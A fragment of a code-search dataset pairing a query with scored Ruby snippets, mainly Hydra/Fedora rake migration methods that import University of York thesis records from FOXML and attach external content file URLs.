"bfcb0a69611110725409441fab374dad", "score": "0.6231616", "text": "def destroy\n @screengrab.destroy\n respond_to do |format|\n format.html { redirect_to screengrabs_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
0f9ad0977e09b64e89ea8357c580f040
end of migrate thesis version of migration that adds the content file url but does not ingest the content pdf into the thesis on megastack: rake migration_tasks:migrate_thesis_with_content_url[/home/ubuntu/testfiles/foxml/york_xxxxx.xml,/home/ubuntu/mapping_files/col_mapping.txt]
[ { "docid": "9c97b5e86e61fe5ec10bdbeb997b1ce8", "score": "0.6309182", "text": "def migrate_thesis_with_content_url(path, content_server_url, collection_mapping_doc_path, user) \r\nresult = 1 # default is fail\r\nmfset = Object::FileSet.new # FILESET. # define this at top because otherwise expects to find it in CurationConcerns module . (app one is not namespaced)\r\ncommon = CommonMigrationMethods.new\r\nputs \"migrating a thesis with content url\"\t\r\n\tfoxmlpath = path\t\r\n\t# enforce UTF-8 compliance when opening foxml file\r\n\tdoc = File.open(path){ |f| Nokogiri::XML(f, Encoding::UTF_8.to_s)}\r\n\t# doesnt resolve nested namespaces, this fixes that\r\n ns = doc.collect_namespaces\t\r\n\t\r\n\t# establish parent collection - map old to new from mappings file\r\n\tcollection_mappings = {}\r\n\tmapping_text = File.read(collection_mapping_doc_path)\r\n\tcsv = CSV.parse(mapping_text)\r\n\tcsv.each do |line| \r\n\t\told_id = line[0]\r\n\t\tnew_id = line[2]\t\t\r\n\t\tcollection_mappings[old_id] = new_id\r\n\tend\r\n\t\r\n\t# make sure we have current rels-ext version\r\n\trels_nums = doc.xpath(\"//foxml:datastream[@ID='RELS-EXT']/foxml:datastreamVersion/@ID\",ns)\t\r\n\trels_all = all = rels_nums.to_s\r\n\tcurrent_rels = rels_all.rpartition('.').last \r\n\trels_current_version = 'RELS-EXT.' + current_rels\r\n\tuntrimmed_former_parent_pid = doc.xpath(\"//foxml:datastream[@ID='RELS-EXT']/foxml:datastreamVersion[@ID='#{rels_current_version}']/foxml:xmlContent/rdf:RDF/rdf:Description/rel:isMemberOf/@rdf:resource\",ns).to_s\t\r\n\t# remove unwanted bits \r\n\tformer_parent_pid = untrimmed_former_parent_pid.sub 'info:fedora/york', 'york'\r\n\tparentcol = collection_mappings[former_parent_pid]\r\n\t# find max dc version\r\n\tnums = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion/@ID\",ns)\t\r\n\tall = nums.to_s\r\n\tcurrent = all.rpartition('.').last \r\n\tcurrentVersion = 'DC.' + current\r\n\t\r\n\t# find the max THESIS_MAIN version\r\n\tthesis_nums = doc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN']/foxml:datastreamVersion/@ID\",ns)\t\r\n\t#check the state is active\r\n\tidstate = doc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN']/@STATE\",ns)\r\n\t#note resource state isnt active, but dont stop processing\r\n\tif !idstate.to_s==\"A\"\r\n\t\t#ingest_note = \" no active EXAM_PAPER\"\r\n\t\tresult = 2\r\n\t\t#return result #in some cases there may be no active resource paper\r\n\tend\t\r\n\tthesis_all = thesis_nums.to_s\r\n\tthesis_current = thesis_all.rpartition('.').last \r\n\tcurrentThesisVersion = 'THESIS_MAIN.' + thesis_current\r\n\t# GET CONTENT - get the location of the pdf as a string\r\n\tpdf_loc = doc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN']/foxml:datastreamVersion[@ID='#{currentThesisVersion}']/foxml:contentLocation/@REF\",ns).to_s\t\r\n\t#if THESIS_MAIN location isnt found, stop processing and return error result code\r\n\tif pdf_loc.length <= 0\r\n\t\tresult = 2 \r\n\t\t#return result #process anyway\r\n\tend\t\r\n\t\r\n\t# CONTENT FILES\r\n\t# this has local.fedora.host, which will be wrong. need to replace this with whereever they will be sitting \r\n\t# reads http://local.fedora.server/digilibImages/HOA/current/X/20150204/xforms_upload_whatever.tmp.pdf\r\n\t# needs to read (for development purposes on real machine) http://yodlapp3.york.ac.uk/digilibImages/HOA/current/X/20150204/xforms_upload_4whatever.tmp.pdf\r\n\t# newpdfloc = pdf_loc.sub 'local.fedora.server', 'yodlapp3.york.ac.uk' # CHOSS we dont need this any more as we cant download remotely\r\n\t#and the content_server_url is set in the parameters :-)\r\n\tif pdf_loc.length > 0\r\n\t\texternalpdfurl = pdf_loc.sub 'http://local.fedora.server', content_server_url #this will be added to below. once we have external urls can add in relevant url\r\n\t\texternalpdflabel = \"THESIS_MAIN\" #default\r\n\t\t# label needed for gui display\r\n\t\t\tlabel = doc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN']/foxml:datastreamVersion[@ID='#{currentThesisVersion}']/@LABEL\",ns).to_s \r\n\t\t\tif label.length > 0\r\n\t\t\texternalpdflabel = label #in all cases I can think of this will be the same as the default, but just to be sure\r\n\t\t\tend\r\n\tend\r\n\t# hash for any THESIS_ADDITIONAL URLs. needs to be done here rather than later to ensure we obtain overridden version og FileSet class rather than CC as local version not namespaced\r\n\tadditional_filesets = {}\t\r\n\telems = doc.xpath(\"//foxml:datastream[@ID]\",ns)\r\n\telems.each { |id| \r\n\t\tidname = id.attr('ID')\t\t\r\n\t\tif idname.start_with?('THESIS_ADDITIONAL')\r\n\t\t\t#check its active\r\n\t\t\tidstate = id.attr('STATE')\r\n\t\t\tif idstate == \"A\"\r\n\t\t\t\t#ok, now need to find the latest version \r\n\t\t\t\tversion_nums = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion/@ID\",ns)\r\n\t\t\t\tcurrent_version_num = version_nums.to_s.rpartition('.').last\r\n\t\t\t\tcurrent_version_name = idname + '.' + current_version_num\r\n\t\t\t\taddit_file_loc = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion[@ID='#{current_version_name}']/foxml:contentLocation/@REF\",ns).to_s\r\n\t\t\t\taddit_file_loc = addit_file_loc.sub 'http://local.fedora.server', content_server_url\r\n\t\t\t\tfileset = Object::FileSet.new\r\n\t\t\t\t#fileset.filetype = 'externalurl'\r\n\t\t\t\tfileset.filetype = 'managed' #ie a file streamed from apache\r\n\t\t\t\tfileset.external_file_url = addit_file_loc\r\n\t\t\t\tfileset.title = [idname]\r\n\t\t\t\t# may have a label - needed for display- that is different to the datastream title\r\n\t\t\t\tlabel = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion[@ID='#{current_version_name}']/@LABEL\",ns).to_s \r\n\t\t\t\tif label.length > 0\r\n\t\t\t\t\tfileset.label = label\r\n\t\t\t\tend\r\n\t\t\t\tfileset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\t\tfileset.depositor = user\r\n\t\t\t\tadditional_filesets[idname] = fileset\r\n\t\t\tend\r\n\t\tend\r\n\t}\r\n\t\r\n\t#also look for ORIGINAL_RESOURCE\r\n\telems = doc.xpath(\"//foxml:datastream[@ID]\",ns)\r\n\telems.each { |id| \r\n\t\tidname = id.attr('ID')\t\t\r\n\t\tif idname.start_with?('ORIGINAL_RESOURCE')\r\n\t\t#check its active\r\n\t\tidstate = id.attr('STATE')\r\n\t\tif idstate == \"A\"\t\t\r\n\t#ok, now need to find the latest version \r\n\t\t\t\tversion_nums = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion/@ID\",ns)\r\n\t\t\t\tcurrent_version_num = version_nums.to_s.rpartition('.').last\r\n\t\t\t\tcurrent_version_name = idname + '.' + current_version_num\r\n\t\t\t\taddit_file_loc = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion[@ID='#{current_version_name}']/foxml:contentLocation/@REF\",ns).to_s\r\n\t\t\t\taddit_file_loc = addit_file_loc.sub 'http://local.fedora.server', content_server_url\r\n\t\t\t\tfileset = Object::FileSet.new\r\n\t\t\t\t#fileset.filetype = 'externalurl'\r\n\t\t\t\tfileset.filetype = 'managed'\r\n\t\t\t\tfileset.external_file_url = addit_file_loc\r\n\t\t\t\tfileset.title = [idname]\r\n\t\t\t\t# may have a label - needed for display- that is different to the datastream title\r\n\t\t\t\tlabel = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion[@ID='#{current_version_name}']/@LABEL\",ns).to_s \r\n\t\t\t\tif label.length > 0\r\n\t\t\t\t\tfileset.label = label\r\n\t\t\t\tend\r\n\t\t\t\tfileset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", \t:access => \"edit\"})]\r\n\t\t\t\tfileset.depositor = user\r\n\t\t\t\tadditional_filesets[idname] = fileset\r\n\t\t\tend\r\n\t\tend\r\n\t}\r\n\t\t\r\n\t# create a new thesis implementing the dlibhydra models\r\n\tthesis = Object::Thesis.new\r\n\r\n\t# once depositor and permissions defined, object can be saved at any time\r\n\tthesis.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\tthesis.depositor = user\r\n\t\r\n\t# start reading and populating data\r\n\ttitle = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:title/text()\",ns).to_s\r\n\ttitle = title.to_s\r\n\ttitle.gsub!(\"&amp;\",\"&\")\r\n\t\t\r\n\tthesis.title = [title]\t# 1 only\t\r\n\t# thesis.preflabel = thesis.title[0] # skos preferred lexical label (which in this case is same as the title. 1 0nly but can be at same time as title \r\n\t#EEK! not all the records have dc:identifier populated\r\n\t#former_id = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:identifier/text()\",ns).to_s\r\n\tformer_id = doc.xpath(\"//foxml:digitalObject/@PID\",ns).to_s\r\n\tif former_id.length > 0\r\n\tthesis.former_id = [former_id]\r\n\tend\r\n\t# could really do with a file to list what its starting work on as a cleanup tool. doesnt matter if it doesnt get this far as there wont be anything to clean up\r\n\ttname = \"tracking.txt\"\r\n\ttrackingfile = File.open(tname, \"a\")\r\n\ttrackingfile.puts( \"am now working on \" + former_id + \" title:\" + title )\r\n\ttrackingfile.close\t\r\n\t creatorArray = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:creator/text()\",ns).to_s\r\n\t thesis.creator_string = [creatorArray.to_s]\r\n\t\r\n\t# abstract is currently the description. optional field so test presence\r\n\tthesis_abstract = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:description/text()\",ns).to_s\r\n\tif thesis_abstract.length > 0\r\n\tthesis_abstract.gsub!(\"&amp;\",\"&\")\r\n\tthesis.abstract = [thesis_abstract] # now multivalued\r\n\tend\r\n\t\r\n\t# date_of_award (dateAccepted in the dc created by the model) 1 only\r\n\tthesis_date = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:date/text()\",ns).to_s\r\n\tthesis.date_of_award = thesis_date\r\n\t# advisor 0... 1 so check if present\r\n\tthesis_advisor = []\r\n\t doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:contributor/text()\",ns).each do |i|\r\n\t\tthesis_advisor.push(i.to_s)\r\n\tend\r\n\tthesis_advisor.each do |c|\r\n\t\tthesis.advisor_string.push(c)\r\n\tend\t\r\n # departments and institutions \r\n locations = []\r\n\t doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:publisher/text()\",ns).each do |i|\r\n\t locations.push(i.to_s)\r\n\t end\r\n\t inst_preflabels = []\r\n\t locations.each do |loc|\r\n\t\t# awarding institution id (just check preflabel here as few options)\r\n\t\tif loc.include? \"University of York\"\r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"York.\" \r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"York:\"\r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"Oxford Brookes University\"\r\n\t\t\tinst_preflabels.push(\"Oxford Brookes University\") #I'v just added this as a minority of our theses come from here!\r\n\t\tend\r\n\t\tinst_preflabels.each do | preflabel|\r\n\t\t\tid = common.get_resource_id('institution', preflabel)\r\n\t\t\tthesis.awarding_institution_resource_ids+=[id]\r\n\t\tend\r\n\t\t\t\t\r\n\t\t# department\r\n\t\tdept_preflabels = common.get_department_preflabel(loc)\t\t \r\n\t\tif dept_preflabels.empty?\r\n\t\t\tputs \"no department found\"\r\n\t\tend\r\n\t\tdept_preflabels.each do | preflabel|\r\n\t\t\tid = common.get_resource_id('department', preflabel)\r\n\t\t\tthesis.department_resource_ids +=[id]\r\n\t\tend\r\n\tend\r\n\t\r\n\t\r\n\t# qualification level, name, resource type\r\n\ttypesToParse = [] #\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:type/text()\",ns).each do |t|\t\r\n\ttypesToParse.push(t)\r\n\tend\r\n\t# qualification names (object)\r\n\t\r\n\tqualification_name_preflabels = common.get_qualification_name_preflabel(typesToParse)\r\n\tif qualification_name_preflabels.length == 0 \r\n\t\tputs \"no qualification name preflabel found\"\r\n\tend\r\n\tqualification_name_preflabels.each do |q|\t\r\n\t\tqname_id = common.get_resource_id('qualification_name',q)\r\n\t\tif qname_id.to_s != \"unfound\"\t\t\r\n\t\t\tthesis.qualification_name_resource_ids+=[qname_id]\r\n\t\telse\r\n\t\t\tputs \"no qualification nameid found\"\r\n\t\tend\r\n\tend\t\r\n\t\r\n\t\r\n\t# qualification levels (yml file). \r\n\ttypesToParse.each do |t|\t\r\n\ttype_to_test = t.to_s\r\n\tqual_levels = []\r\n\tlevels = common.get_qualification_level_term(type_to_test)\r\n\tlevels.each do |level|\r\n\t\t#thesis.qualification_level += [degree_level]\r\n\t\tif !qual_levels.include? level #avoid duplication\r\n\t\t\tqual_levels.push(level)\r\n\t\tend\t\r\n\tend\r\n\tqual_levels.each do |ql|\r\n\t\tthesis.qualification_level += [ql]\r\n\tend\r\n\r\n\t# now check for certain award types, and if found map to subjects (dc:subject not dc:11 subject)\r\n\t# resource Types map to dc:subject. at present the only official value is Dissertations, Academic\r\n\ttheses = [ 'theses','Theses','Dissertations','dissertations' ] \r\n\tif theses.include? type_to_test\t\r\n\t# not using methods below yet - or are we? subjects[] no longer in model\r\n\t\tsubject_id = common.get_resource_id('subject',\"Dissertations, Academic\")\r\n\t\tthesis.subject_resource_ids +=[subject_id]\t\t \r\n\tend\r\nend\t\r\n\tthesis_language = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:language/text()\",ns).each do |lan|\r\n\tthesis_language.push(lan.to_s)\r\n\tend\r\n\t# this should return the key as that allows us to just search on the term\r\n\tthesis_language.each do |lan| #0 ..n\r\n\tstandard_language = \"unfound\"\r\n\t standard_language = common.get_standard_language(lan.titleize)#capitalise first letter\r\n\t\tif standard_language!= \"unfound\"\r\n\t\t\tthesis.language+=[standard_language]\r\n\t\tend\r\n\tend\t\r\n\t\r\n\t# dc.keyword (formerly subject, as existing ones from migration are free text not lookup\r\n\tthesis_subject = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:subject/text()\",ns).each do |s|\r\n\tthesis_subject.push(s.to_s)\r\n\tend\r\n\tthesis_subject.each do |s|\r\n\t\ts.gsub!(\"&amp;\",\"&\")\r\n\t\tthesis.keyword+=[s] #TODO::THIS WAS ADDED TO FEDORA AS DC.RELATION NOT DC(OR DC11).SUBJECT!!!\r\n\tend\t\r\n\t# dc11.subject??? not required for migration - see above\r\n\t\t\r\n\t# rights.\t\r\n\t# rights holder 0...1\r\n\t# checked data on dlib. all have the same rights statement and url cited, so this should work fine, as everything else is rights holders \r\n thesis_rightsholder = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:rights/text()[not(contains(.,'http')) and not (contains(.,'licenses')) ]\",ns).to_s\r\n if thesis_rightsholder.length > 0\r\n\tthesis.rights_holder=[thesis_rightsholder] \r\n end\r\n\r\n\t# license set a default which will be overwritten if one is found. its the url, not the statement. use licenses.yml not rights_statement.yml\r\n\t# For full york list see https://dlib.york.ac.uk/yodl/app/home/licences. edit in rights.yml\r\n\tdefaultLicence = \"http://dlib.york.ac.uk/licences#yorkrestricted\"\r\n\tthesis_rights = defaultLicence\r\n\tthesis_rights = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:rights/text()[contains(.,'http')]\",ns).to_s\r\n\t\r\n\tnewrights = common.get_standard_rights(thesis_rights)# all theses currently York restricted \t\r\n\t\tif newrights.length > 0\r\n\t\tthesis_rights = newrights\r\n\t\t\tthesis.rights=[thesis_rights]\t\t\t\r\n\t\tend\t\r\n\t\r\n\t#check the collection exists before saving and putting in collection\r\n\t# save\t\r\n\tif Object::Collection.exists?(parentcol.to_s)\r\n\t\tthesis.save!\r\n\t\tid = thesis.id\r\n\t\tputs \"thesis id was \" +id \r\n\t\tputs \"parent col was \" + parentcol.to_s\r\n\t\tcol = Object::Collection.find(parentcol.to_s)\r\n\t\tputs \"id of col was:\" +col.id\r\n\t\tputs \" collection title was \" + col.title[0].to_s\r\n\t\tcol.members << thesis \r\n\t\tcol.save!\r\n\telse\r\n\t\tputs \"couldnt find collection \" + parentcol.to_s\r\n\t\tresult = 3\r\n\t\treturn result\r\n\tend\r\n\t\r\n\t\r\n\t\r\n\t\r\n\t# this is the section that keeps failing\r\n\tusers = Object::User.all #otherwise it will use one of the included modules\r\n\tuser_object = users[0]\r\n\t#check we do have a main resource paper before trying to add it\r\n\tif pdf_loc.length >0\r\n\t\tbegin\r\n\t\t\t# see https://github.com/pulibrary/plum/blob/master/app/jobs/ingest_mets_job.rb#L54 and https://github.com/pulibrary/plum/blob/master/lib/tasks/ingest_mets.rake#L3-L4\r\n\t\t\tmfset.filetype = 'managed'\r\n\t\t\tmfset.title = [\"THESIS_MAIN\"]\t#needs to be same label as content file in foxml \r\n\t\t\tmfset.label = externalpdflabel\r\n\t\t\t# add the external content URL\r\n\t\t\tmfset.external_file_url = externalpdfurl\r\n\t\t\tactor = CurationConcerns::Actors::FileSetActor.new(mfset, user_object)\r\n\t\t\tactor.create_metadata(thesis)\r\n\t\t\t#Declare file as external resource\r\n\t\t\tHydra::Works::AddExternalFileToFileSet.call(mfset, externalpdfurl, 'external_url')\r\n\t\t\tmfset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\tmfset.depositor = user\r\n\t\t\tmfset.save!\r\n\t\t\tputs \"fileset \" + mfset.id + \" saved\"\r\n \r\n\t\t# CHOSS this is here because the system tended to lock up during multiple uploads - suspect competition for resources or threading issue somewhere\r\n\t\t\tsleep 20 \t\t\r\n\t\t\tthesis.mainfile << mfset\r\n\t\t\tsleep 20 \r\n\t\t\tthesis.save!\r\n\t\trescue\r\n\t\t\tputs \"QUACK QUACK OOPS! addition of external file unsuccesful\"\r\n\t\t\tresult = 4\r\n\t\t\treturn result\t\t\r\n\t\tend \r\n puts \"all done for external content mainfile \" + id \r\n\tend\r\n\r\n# process external THESIS_ADDITIONAL files\r\nfor key in additional_filesets.keys() do\t\t\r\n\t\tadditional_thesis_file_fs = additional_filesets[key]\t\t\r\n\t\t#add metadata to make fileset appear as a child of the object\r\n actor = CurationConcerns::Actors::FileSetActor.new(additional_thesis_file_fs, user_object)\r\n actor.create_metadata(thesis)\r\n\t\t#Declare file as external resource\r\n\t\turl = additional_thesis_file_fs.external_file_url\r\n Hydra::Works::AddExternalFileToFileSet.call(additional_thesis_file_fs, url, 'external_url')\r\n additional_thesis_file_fs.save!\r\n\t\tthesis.members << additional_thesis_file_fs\r\n thesis.save!\r\n\t\tputs \"all done for additional file \" + key\r\nend\r\n\t#when done, explicity reset big things to empty to ensure resources not hung on to\r\n\tadditional_filesets = {} \r\n doc = nil\r\n\tmapping_text = nil\r\n\tcollection_mappings = {}\t\r\n\tif result != 2\r\n\t\tresult = 0 #this needs to happen last\r\n\tend\r\n return result # give it a return value\r\nend", "title": "" } ]
[ { "docid": "7bbd4ddd8cf4bb52903584334442fefa", "score": "0.6982394", "text": "def migrate_bhutan_thesis_with_content_urls(collection_id, content_server_url, user) \r\n\r\nmfset = Object::FileSet.new # FILESET. # define this at top because otherwise expects to find it in CurationConcerns module . (app one is not namespaced)\r\nputs \"migrating the bhutan thesis\"\t\r\ncommon = CommonMigrationMethods.new\r\n\tparentcol = collection_id\t\r\n\t# CONTENT FILES\r\n\t# this has local.fedora.host, which will be wrong. need to replace this with whereever they will be sitting \r\n\t# reads http://local.fedora.server/digilibImages/HOA/current/X/20150204/xforms_upload_whatever.tmp.pdf\r\n\t# needs to read (for development purposes on real machine) http://yodlapp3.york.ac.uk/digilibImages/HOA/current/X/20150204/xforms_upload_4whatever.tmp.pdf\r\n\t# newpdfloc = pdf_loc.sub 'local.fedora.server', 'yodlapp3.york.ac.uk' # CHOSS we dont need this any more as we cant download remotely\r\n\t#and the content_server_url is set in the parameters :-)\r\n\texternalpdfurl = content_server_url + \"/digilibImages/HOA/current/X/20170308/xforms_upload_2922242419159768615.tmp.pdf\"\r\n externalpdflabel = \"THESIS_MAIN\" #default\t\t\r\n\t# hash for original resource content files. needs to be done here rather than later to ensure we obtain overridden version og FileSet class rather than CC as local version not namespaced\r\n additional_filesets = {}\r\n\t\t\t#audio file Appendix 1\t\t\t\r\n\t\t\tfileset1 = Object::FileSet.new\r\n\t\t\tfileset1.filetype = 'externalurl'\r\n\t\t\t#note the two records in the original have been mistakenly both given the title Appendix 2\r\n\t\t\tfileset1.external_file_url = content_server_url + \"/digilibImages/music/musicPreserved/X/20170308/xforms_upload_1357424874944822208.tmp\"\r\n\t\t\tfileset1.title = [\"ORIGINAL_RESOURCE\"]\r\n\t\t\t# should this be the original title of the content file in this case? \t\t\t\r\n\t\t\t#both were given name of Appendix 2 in the foxml record, listened and compared to work out which was which. amcertain I have allocated the titles correctly, Appendix numbers not in original \r\n\t\t\tfileset1.label = \"Appendix 1: Interview of the Gup (Head of Talo Block) (audio, m4a)\"\r\n\t\t\tfileset1.permissions = [Hydra::AccessControls::Permission.new({:name=> \"public\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\tfileset1.depositor = user\r\n\t\t\tadditional_filesets[\"ORIGINAL_RESOURCE1\"] = fileset1\t\r\n\t\t\t\r\n\t\t\t#audio file Appendix 2\r\n\t\t\tfileset2 = Object::FileSet.new\r\n\t\t\tfileset2.filetype = 'externalurl'\r\n\t\t\tfileset2.external_file_url = content_server_url + \"/digilibImages/music/musicPreserved/X/20170308/xforms_upload_4867028519326396466.tmp\"\r\n\t\t\tfileset2.title = [\"ORIGINAL_RESOURCE\"]\r\n\t\t\t# should this be the original title of the content file in this case? \t\t\t\r\n\t\t\tfileset2.label = \"Appendix 2:Interview with the villagers (audio, m4a)\"\r\n\t\t\tfileset2.permissions = [Hydra::AccessControls::Permission.new({:name=> \"public\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\tfileset2.depositor = user\r\n\t\t\tadditional_filesets[\"ORIGINAL_RESOURCE2\"] = fileset2\t\r\n\tputs \"total of \" + additional_filesets.size.to_s + \"additional filesets created\"\r\n\t# create a new thesis implementing the dlibhydra models\r\n\tthesis = Object::Thesis.new\r\n\tthesis.permissions = [Hydra::AccessControls::Permission.new({:name=> \"public\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\tthesis.depositor = user\r\n\t# start populating data\t\r\n\tthesis.title = [\"Heritage of the community, and for the community: a case study from Bhutan\"]\t# 1 only\t\r\n\t# thesis.preflabel = thesis.title[0] # skos preferred lexical label (which in this case is same as the title. 1 0nly but can be at same time as title \r\n\t#multiple objects so in this case list them all\r\n\tthesis.former_id.push(\"york:931160\")\r\n\tthesis.former_id.push(\"york:931918\")\r\n\tthesis.former_id.push(\"york:931921\")\r\n\tthesis.former_id.push(\"york:931922\")\r\n\tthesis.former_id.push(\"york:931923\")\r\n\t\r\n\tthesis.creator_string = [\"Pema\"]\r\n\t# no abstract in foxml, just a description. However when I opened the original pdf I found this WAS in fact the abstrat, so have entered as such\r\n\tthesis.abstract = [\"The research examines the emergence and development of the idea of community engagement in the process of conservation and management of heritage. The research explores and analyzes ways and means, to involve and allow community participation in conserving and sustaining the significance of heritage in a particular context with reference to a case study from Bhutan. The research also explores the interpretation of the concept of cultural landscape in Bhutan, and importance of ensuring continuity of the community for conserving and sustaining the significance of cultural landscape of Bhutan.\"] # now multivalued\r\n\t# date_of_award (dateAccepted in the dc created by the model) 1 only\r\n\tthesis.date_of_award = \"2016\"\t\r\n\tthesis.advisor_string.push(\"Chitty, Gill\")\r\n\t # departments and institutions \r\n\tinst_preflabel = \"University of York\"\r\n\tid = common.get_resource_id('institution', inst_preflabel)\r\n\tthesis.awarding_institution_resource_ids+=[id]\r\n\tid = common.get_resource_id('department', \"University of York. Department of Archaeology\")\r\n\tthesis.department_resource_ids +=[id]\r\n\t\r\n\t\r\n\t#qualification fields\r\n\ttypesToParse = [] #\r\n\ttypesToParse.push(\"Master of Arts (MA)\")\t\r\n\tqualification_name_preflabel = get_qualification_name_preflabel(typesToParse)\t\r\n\tqname_id = common.get_resource_id('qualification_name',qualification_name_preflabel)\r\n\tif qname_id.to_s != \"unfound\"\t\t\r\n\t\tthesis.qualification_name_resource_ids+=[qname_id]\r\n\telse\r\n\t\tputs \"no qualification nameid found\"\r\n\tend\r\n\t\r\n\tthesis.qualification_level += [\"Masters (Postgraduate)\"]\r\n\t\r\n\r\n\t# now check for certain award types, and if found map to subjects (dc:subject not dc:11 subject)\r\n\t# resource Types map to dc:subject. at present the only official value is Dissertations, Academic\r\n\t#theses = [ 'theses','Theses','Dissertations','dissertations' ] \r\n\t#if theses.include? type_to_test\t\r\n\t# not using methods below yet - or are we? subjects[] no longer in model\r\n\t\tsubject_id = common.get_resource_id('subject',\"Dissertations, Academic\")\r\n\t\tthesis.subject_resource_ids +=[subject_id]\t\t \r\n\t#end\r\n\r\n\t#language wasnt specified in foxml object, but clearly is (checked)\r\n\tstandard_language = \"unfound\"\r\n\t# this should return the key as that allows us to just search on the term\t\r\n\tstandard_language = common.get_standard_language(\"English\")#capitalise first letter\r\n\tif standard_language!= \"unfound\"\r\n\t\tthesis.language+=[standard_language]\r\n\tend\r\n\t\r\n\t# dc.keyword (formerly subject, as existing ones from migration are free text not lookup. no subjects in foxml so no action\r\n\t# rights.\t\r\n\t# rights holder 0...1\r\n\t# checked data on dlib. all have the same rights statement and url cited, so this should work fine, as everything else is rights holders\r\n\tthesis.rights_holder=[\"Pema\"]\r\n\t# license set a default which will be overwritten if one is found. its the url, not the statement. use licenses.yml not rights_statement.yml\r\n\t# For full york list see https://dlib.york.ac.uk/yodl/app/home/licences. edit in rights.yml\r\n\tdefaultLicence = \"http://dlib.york.ac.uk/licences#yorkrestricted\"\r\n\tthesis_rights = defaultLicence\r\n\tthesis_rights = defaultLicence\r\n\tnewrights = common.get_standard_rights(thesis_rights)# all theses currently York restricted \t\r\n\tif newrights.length > 0\r\n\t\tthesis_rights = newrights\r\n\t\tthesis.rights=[thesis_rights]\t\t\t\r\n\tend\t\r\n\t\t\r\n\t\r\n\t# save\t\r\n\tthesis.save!\r\n\tid = thesis.id\r\n\tputs \"thesis id was \" +id \r\n\t# put in collection\t\r\n\tcol = Object::Collection.find(collection_id)\t\r\n\tputs \"id of col was:\" +col.id\r\n\tputs \" collection title was \" + col.title[0].to_s\r\n\tcol.members << thesis \r\n\tcol.save!\r\n\t\r\n\t# this is the section that keeps failing\r\n\tusers = Object::User.all #otherwise it will use one of the included modules\r\n\tuser = users[0]\r\n\tbegin\r\n\t\t# see https://github.com/pulibrary/plum/blob/master/app/jobs/ingest_mets_job.rb#L54 and https://github.com/pulibrary/plum/blob/master/lib/tasks/ingest_mets.rake#L3-L4\r\n\t\tmfset.filetype = 'externalurl'\r\n\t\tmfset.title = [\"THESIS_MAIN\"]\t#needs to be same label as content file in foxml \r\n\t\tmfset.label = externalpdflabel\r\n\t\t# add the external content URL\r\n\t\tmfset.external_file_url = externalpdfurl\r\n\t\tactor = CurationConcerns::Actors::FileSetActor.new(mfset, user)\r\n\t\tactor.create_metadata(thesis)\r\n\t\t#Declare file as external resource\r\n Hydra::Works::AddExternalFileToFileSet.call(mfset, externalpdfurl, 'external_url')\r\n\t\tmfset.permissions = 